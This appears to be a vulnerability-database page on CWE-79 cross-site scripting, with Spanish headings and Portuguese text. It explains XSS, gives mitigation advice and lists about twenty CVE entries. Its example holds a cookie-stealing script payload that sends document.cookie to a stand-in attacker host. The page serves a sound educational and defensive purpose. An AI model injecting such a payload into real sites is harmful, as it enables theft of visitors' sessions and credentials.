Fallos del tipo CWE-79

30.190 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-7141MEDIUMSourceCodester Best Salon Management System Update Staff Page edit_plan.php cross site scriptingEPSS 0.3%CVE-2024-47781MEDIUMCross-site Scripting (XSS) in Special:RequestWikiQueue when displaying sitename in CreateWikiEPSS 0.3%CVE-2026-59926MEDIUMMistune: XSS via unescaped class option in Admonition directiveEPSS 0.3%CVE-2025-0719MEDIUMIBM Cloud Pak for Data cross-site scriptingEPSS 0.3%CVE-2024-11880MEDIUMB Testimonial – testimonial plugin for WP <= 1.2.2 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2023-6494MEDIUMWPC Smart Quick View for WooCommerce <= 4.0.2 - Authenticated (Administrator+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-24536HIGHWordPress ThriveDesk plugin <= 2.0.6 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-57962MEDIUMWordPress VikRestaurants Table Reservations and Take-Away plugin <= 1.5.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-35696HIGHWordPress WP Docs plugin <= 2.1.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-69231MEDIUMstored cross site scripting issue in Esri Portal for ArcGISEPSS 0.3%CVE-2024-45454HIGHWordPress Unlimited Elements for Elementor plugin <= 1.5.121 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-39590MEDIUMWordPress Essential Addons for Elementor plugin <= 6.1.9 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2026-19872MEDIUMHTML::FormHandler versions before 0.410000 for Perl allow cross-site scripting via a submitted value rendered unescaped in an error messageEPSS 0.3%CVE-2025-55834MEDIUMA Cross Site Scripting vulnerability in JeeWMS v.3.7 and before allows a remote attacker to obtain sensitive information via the logControllEPSS 0.3%CVE-2024-47378HIGHWordPress WPCOM Member plugin <= 1.5.4 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-37920HIGHWordPress ARForms Form Builder plugin <= 1.6.7 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-41878MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.3%CVE-2025-5944MEDIUMElement Pack Addons for Elementor <= 8.0.0 - Authenticated (Contributor+) DOM-Based Stored Cross-Site Scripting via data-caption AttributeEPSS 0.3%CVE-2024-39126MEDIUMRoundup before 2.4.0 allows XSS via JavaScript in PDF, XML, and SVG documents.EPSS 0.3%CVE-2024-47369HIGHWordPress Social Auto Poster plugin <= 5.3.15 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%